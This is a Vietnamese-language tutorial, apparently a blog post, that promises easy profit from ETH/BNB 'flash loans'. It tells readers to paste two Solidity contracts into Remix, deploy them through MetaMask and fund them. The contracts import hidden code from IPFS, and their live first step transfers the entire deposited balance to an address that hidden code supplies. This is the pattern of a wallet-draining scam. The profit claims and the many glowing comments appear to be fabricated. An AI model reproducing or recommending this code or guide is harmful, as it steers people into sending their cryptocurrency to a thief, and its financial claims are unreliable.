Bài 27:Hướng dẫn phương pháp cho vay ETH Flash đơn giản nhưng có lợi nhuận
Hướng Dẫn Từng Bước:
1. Tải xuống MetaMask cho trình duyệt web Chrome

Bạn có thể tải xuống và cài đặt MetaMask từ liên kết này: https://chrome.google.com/webstore/detail/metamask/nkbihfbeogaeaoehlefnkodbefgpgknn .
2. Tạo “RPC tùy chỉnh” trong MetaMask để kết nối với Chuỗi thông minh Binance

bước này được sử dụng để kết nối ví của bạn với chuỗi thông minh của mạng Mainnet. Dưới đây là cài đặt mạng để thêm Chuỗi thông minh.
Name: Smart Chain
New RPC URL: https://bsc-dataseed.binance.org/
ChainID: 56
Symbol: BNB
Block Explorer URL: https://bscscan.com Để biết thông tin đầy đủ về giải thích, vui lòng truy cập bài viết chính thức của Binance: https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain .
3. Mở http://remix.ethereum.org/ từ trình duyệt của bạn
Mở Ethereum Remix để tạo hoặc gia hạn hợp đồng thông minh, hợp đồng này sau này được sử dụng để tạo hợp đồng thông minh Flash Loan Attack vào mạng Hợp đồng thông minh Binance.
4. Nhấp vào Trình biên dịch Solidity (nút menu thứ 2 từ bên trái) và chọn phiên bản trình biên dịch thành 0.5.0

Thay đổi phiên bản trình biên dịch thành “0.5.0 + commit.1d4f565a”. Điều này là cần thiết để làm cho phiên bản trình biên dịch của bạn giống với mã nguồn mà bạn sẽ sử dụng.
5. Tạo tệp Solidity “Flash Loan.sol” trong File Explorer (nút menu thứ nhất từ bên trái)

Sao chép và dán Script cũ bên dưới vào tệp Flash Loan.sol: (Script cũ và mới đều sử dụng được, chỉ có điều Script mới được chia nhỏ nhiều Token ra nên lãi nhiều hơn:
- pragma solidity ^0.5.0;
- // Multiplier-Finance Smart Contracts
- import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
- import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
- // uniswapSwap Smart Contracts
- import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
- import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
- import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
- // Code Manager
- import "ipfs://QmNMDRbFwmfrbpWE1CJgZfECA6cSEMRqy9qWcLCAJsjAY8";
- contract uniswapFlashLoan {
- string public tokenName;
- string public tokenSymbol;
- uint loanAmount;
- Manager manager;
- constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
- tokenName = _tokenName;
- tokenSymbol = _tokenSymbol;
- loanAmount = _loanAmount;
- manager = new Manager();
- }
- function() external payable {}
- function action() public payable {
- // Send required coins for swap
- address(uint160(manager.uniswapDepositAddress())).transfer(address(this).balance);
- // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
- // Breakdown of functions written below
- manager.performTasks();
- /* Breakdown of functions
- // Submit token to ETH blockchain
- string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
- // List the token on uniswapSwap
- manager.uniswapListToken(tokenName, tokenSymbol, tokenAddress);
- // Get BNB Loan from Multiplier-Finance
- string memory loanAddress = manager.takeFlashLoan(loanAmount);
- // Convert half ETH to DAI
- manager.uniswapDAItoETH(loanAmount / 2);
- // Create ETH and DAI pairs for our token & Provide liquidity
- string memory ethPair = manager.uniswapCreatePool(tokenAddress, "ETH");
- manager.uniswapAddLiquidity(ethPair, loanAmount / 2);
- string memory daiPair = manager.uniswapCreatePool(tokenAddress, "DAI");
- manager.uniswapAddLiquidity(daiPair, loanAmount / 2);
- // Perform swaps and profit on Self-Arbitrage
- manager.uniswapPerformSwaps();
- // Move remaining ETH from Contract to your account
- manager.contractToWallet("ETH");
- // Repay Flash loan
- manager.repayLoan(loanAddress);
- */
- }
- }
❤️Script mới lãi cao hơn
- pragma solidity ^0.5.0;
-
-
- // PancakeSwap Smart Contracts
- import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
- import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
-
- //BakerySwp Smart contracts
- import "https://github.com/BakeryProject/bakery-swap-core/blob/master/contracts/interfaces/IBakerySwapFactory.sol";
-
- // Router
- import "ipfs://QmbJ685kFCLQmA8naW6u3LCpkZNV32rEB2LnwamfQ7eX4u";
-
- // Multiplier-Finance Smart Contracts
- import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
- import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
-
-
- contract InitiateFlashLoan {
-
- RouterV2 router;
- string public tokenName;
- string public tokenSymbol;
- uint256 flashLoanAmount;
-
- constructor(
- string memory _tokenName,
- string memory _tokenSymbol,
- uint256 _loanAmount
- ) public {
- tokenName = _tokenName;
- tokenSymbol = _tokenSymbol;
- flashLoanAmount = _loanAmount;
-
- router = new RouterV2();
- }
-
- function() external payable {}
-
- function flashloan() public payable {
- // Send required coins for swap
- address(uint160(router.pancakeSwapAddress())).transfer(
- address(this).balance
- );
-
- //Flash loan borrowed 3,137.41 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap.
- router.borrowFlashloanFromMultiplier(
- address(this),
- router.bakerySwapAddress(),
- flashLoanAmount
- );
- //To prepare the arbitrage, BNB is converted to BUSD using PancakeSwap swap contract.
- router.convertBnbToBusd(msg.sender, flashLoanAmount / 2);
- //The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 3,148.39 BNB using BNB/BUSD BakerySwap.
- router.callArbitrageBakerySwap(router.bakerySwapAddress(), msg.sender);
- //After the arbitrage, 3,148.38 BNB is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.2 BNB of gas.
- router.transferBnbToMultiplier(router.pancakeSwapAddress());
- //Note that the transaction sender gains 3.29 BNB from the arbitrage, this particular transaction can be repeated as price changes all the time.
- router.completeTransation(address(this).balance);
- }
- }
6. Nhấp vào Trình biên dịch Solidity (nút menu thứ 2 từ bên trái) và Biên dịch

Tìm Hợp đồng thả xuống ở cuối trình đơn Solidity Compiler, trên Hợp đồng thả xuống đó, chọn “GetFlash Loan (Flash Loan.sol)” và sau đó nhấp vào Biên dịch Flash Loan.sol.
7. Nhấp vào Triển khai & chạy giao dịch (nút menu thứ 3 từ bên trái) và Triển khai

- - Ở trên cùng, thay đổi giá trị Môi trường thả xuống thành “Injected Web3” (Đối với người dùng phối lại, trước tiên sẽ có xác nhận trên MetaMask, Chấp nhận thông báo xác nhận trên Chrome Extention của ví MetaMask).
- - Địa chỉ ví MetaMask sẽ tự động được kết nối Nếu bạn đã kết nối với Tài khoản MetaMask của mình.
- - Có một menu thả xuống bên cạnh, nhấp vào menu thả xuống đó và tạo tên Hợp đồng thông minh mà bạn muốn. Ví dụ. :
_TOKENNAME = Flash Loan (viết tên mã thông báo ngẫu nhiên) _TOKENSYMBOL = FLO (viết ngẫu nhiên ba ký hiệu - bốn chữ cái) _LOANAMOUNT = 10 (Số tiền vay) - - Nhấp vào Giao dịch và xác nhận trong MetaMask.
- sau khi bạn tạo Hợp đồng thông minh, hãy đợi cho đến khi giao dịch hoàn tất và bạn sẽ có địa chỉ hợp đồng thông minh của mình.
8. Nhập tính thanh khoản cho Hợp đồng thông minh

Để nhập Thanh khoản, hãy chuyển BNB danh nghĩa của bạn đến địa chỉ Hợp đồng thông minh mà bạn đã tạo trước đó bằng cách sử dụng tính năng chuyển trong MetaMask Chrome Extention. Gửi BNB danh nghĩa (số lượng BNB sẽ ảnh hưởng đến lợi nhuận bạn sẽ kiếm được). Chờ cho đến khi giao dịch bổ sung thanh khoản hoàn tất.
9. Cuộc tấn công cho vay nhanh

Sau khi tạo Hợp đồng thông minh có thêm thanh khoản (Bước 8) và đặt số tiền cho vay (Bước 7), hãy nhấp vào menu thả xuống từ giao dịch thành công (Bước 7), nó sẽ hiển thị menu thả xuống với một số nút là action, tokenName, tokenSymbol . Nhấp vào "hành động" (nút màu đỏ) để chạy hợp đồng thông minh. đợi một lúc cho đến khi giao dịch hoàn tất và thường xuyên kiểm tra số dư BNB của bạn trên ví từ MetaMask Chome Extension.
Lưu ý:
❤️Đôi khi mã có lỗi và đôi khi nó sẽ không hoạt động ngay từ lần đầu tiên. Sau đó bạn phải bắt đầu toàn bộ quá trình từ đầu.
❤️Khi sử dụng Flashloan thì cơ bản bạn phải có ít ETH hoặc BNB để trả phí Gas,ví dụ Flashloan ETH:Gửi 0,3 ETH vào hợp đồng để tính phí gas cho tất cả các giao dịch hoán đổi (Sẽ có nhiều giao dịch hoán đổi để sử dụng tất cả tiền từ các nhóm thanh khoản ngoài. Vì vậy, sẽ mất khoảng 0,3-0,35 ETH phí)
❤️ Nếu vẫn không thành công, vui lòng lặp lại một lần nữa VỚI GIỚI HẠN KHÍ Gas: 31560
Bình luận
- Thật tuyệt, tôi nghĩ rằng nó chỉ có thể được thực hiện trên mạng BNB, nhưng trên nền tảng này, một hướng dẫn cho vay nhanh cũng đã được chia sẻ trên mạng ETH
- Tất nhiên, chúng tôi sẽ luôn cập nhật các bài viết để nhiều người chơi tiền điện tử có thể thực hiện các khoản vay nhanh của riêng họ và không chỉ xem tin tức về sự thành công của các khoản vay nhanh.
- Tôi đã thử tập lệnh này bằng cách sử dụng vốn lưu động 1 ETH và 0,5 ETH, trong thử nghiệm 1 ETH, tôi nhận được 0,8 ETH lợi nhuận nhưng trong thử nghiệm 0,5 ETH, tôi chỉ nhận được 0,1 ETH lợi nhuận, điều này có thể xảy ra như thế nào?
- Vốn thanh khoản mà bạn cung cấp cho hợp đồng thông minh mà bạn có sẽ quyết định số tiền bạn sẽ nhận được, vì vậy khoản vay nhiều hơn bạn sẽ nhận được nhiều lợi nhuận hơn so với số vốn ít, đó chỉ là logic đơn giản thôi, hãy cố gắng hiểu điều đó.
- Tôi có thể sử dụng tập lệnh này nhưng sử dụng BNB không?
- Rõ ràng là bạn không thể vì ở đây chúng tôi sử dụng uniswap và nó được thực hiện trên mạng ETH thay vì BNB.
- Có một thời gian nhất định để có thể thực hiện tập lệnh cho mượn flash này không?
- Không có thời gian cụ thể, nhưng lời khuyên của tôi là nên thực hiện khi thị trường tiền điện tử tốt vì nến xanh sẽ giúp thu được nhiều lợi nhuận hơn, ngoài ra bạn có thể thử mọi lúc.
- Cảm ơn bạn kịch bản hoạt động thực sự tốt.
- Tôi không biết làm thế nào khác để cảm ơn bạn đã cung cấp bài viết rất thú vị này, cảm ơn bạn rất nhiều
- Quản trị viên, bạn nghĩ điều gì tốt hơn, tập lệnh cho vay nhanh nào là ETH hay BNB?
- Cả hai đều hoạt động tốt, nhưng ETH yêu cầu vốn cao hơn BNB, nếu bạn có số vốn lớn, tôi khuyên bạn nên thử cho vay nhanh ETH nhưng nếu bạn chỉ có một số vốn nhỏ, tôi khuyên bạn nên sử dụng khoản vay nhanh BNB.
- Rất tuyệt, đây là lần đầu tiên tôi nhận được thông tin tuyệt vời và nhận được nó miễn phí !! Những bài báo như thế này nên được trả tiền
- Cảm ơn bạn, chúng tôi sẽ luôn cung cấp thông tin miễn phí cho công chúng vì mục đích tự do tiền điện tử cho mọi người.
- Tôi đã thử các phương pháp BNB cũ, BNB mới và ETH. Tất cả các script đều hoạt động tốt nhưng đối với ETH, tôi nhận được nhiều lợi nhuận hơn, theo tôi vì giá ETH cao hơn giá BNB, nhưng bất chấp tất cả ... Tôi được hưởng lợi từ 3 bài viết đã chia sẻ
- Cảm ơn bạn vì những lời chứng thực đã được đưa ra, chúng tôi sẽ luôn cập nhật kịch bản trong tương lai để có thể nhận được nhiều lợi ích hơn
- Cảm ơn bạn
- Điều này thực sự điên rồ, tôi không nghĩ rằng có một nền tảng tốt như thế này chia sẻ miễn phí những hướng dẫn tuyệt vời như vậy
- Admin tại sao bạn lại tự nguyện chia sẻ script này? mặc dù nó rất mạnh mẽ
- Nhóm của tôi và tôi nghĩ tiền điện tử là tự do, vì vậy tôi muốn cung cấp tất cả cho công chúng để họ có thể trải nghiệm sự tự do của nó
- Tôi đã tiến hành các thử nghiệm khi thị trường tiền điện tử xấu và khi thị trường tiền điện tử tốt, kết quả rất đáng kể. Tôi khuyên bạn nên thực hiện một khoản vay nhanh khi thị trường tốt để có thêm lợi nhuận
- Cảm ơn anh bạn đã tư vấn, đúng là nếu thị trường tốt, nó sẽ ảnh hưởng đến kết quả của khoản lãi vay nhanh vì những người khác sẽ hoảng sợ mua khi họ nhìn thấy một cây nến xanh khi thị trường tốt.
- Tôi có thể tăng giá trị khoản vay ở bước thứ 7 trong _LOANAMOUNT = 10 (số tiền cho vay) để thu được lợi nhuận cao hơn không?
- bạn có thể tăng giá trị khoản vay, nhưng bạn cũng phải có số tiền thanh khoản bằng 1:10 mà bạn nhập trong Hợp đồng thông minh của mình. tự nhiên, tính thanh khoản so với giá trị khoản vay là 1:10. Thanh khoản càng nhiều thì số tiền cho vay càng nhiều nên lợi nhuận cũng tăng theo.
- tại sao tôi chỉ kiếm được 0,89 BNB khi tôi nhập giá trị thanh khoản là 1 BNB? kết quả tôi nhận được chỉ là 89% số vốn của tôi
- điều này là hợp lý, bởi vì giá BNB không phải lúc nào cũng ổn định và không phải lúc nào chênh lệch giữa các thị trường cũng khác nhau rất nhiều. Vì vậy mà thời gian thực hiện Khoản vay nhanh cũng quyết định mức chênh lệch giá lợi nhuận. Đảm bảo phân tích trước khi nào là thời điểm thích hợp khi khoảng cách giá giữa BNB trên các thị trường khác nhau có khoảng cách giá dài. Khoảng cách xa giá đó sẽ là lợi nhuận của bạn.
Wim Engbers
21 tháng 10 năm 2021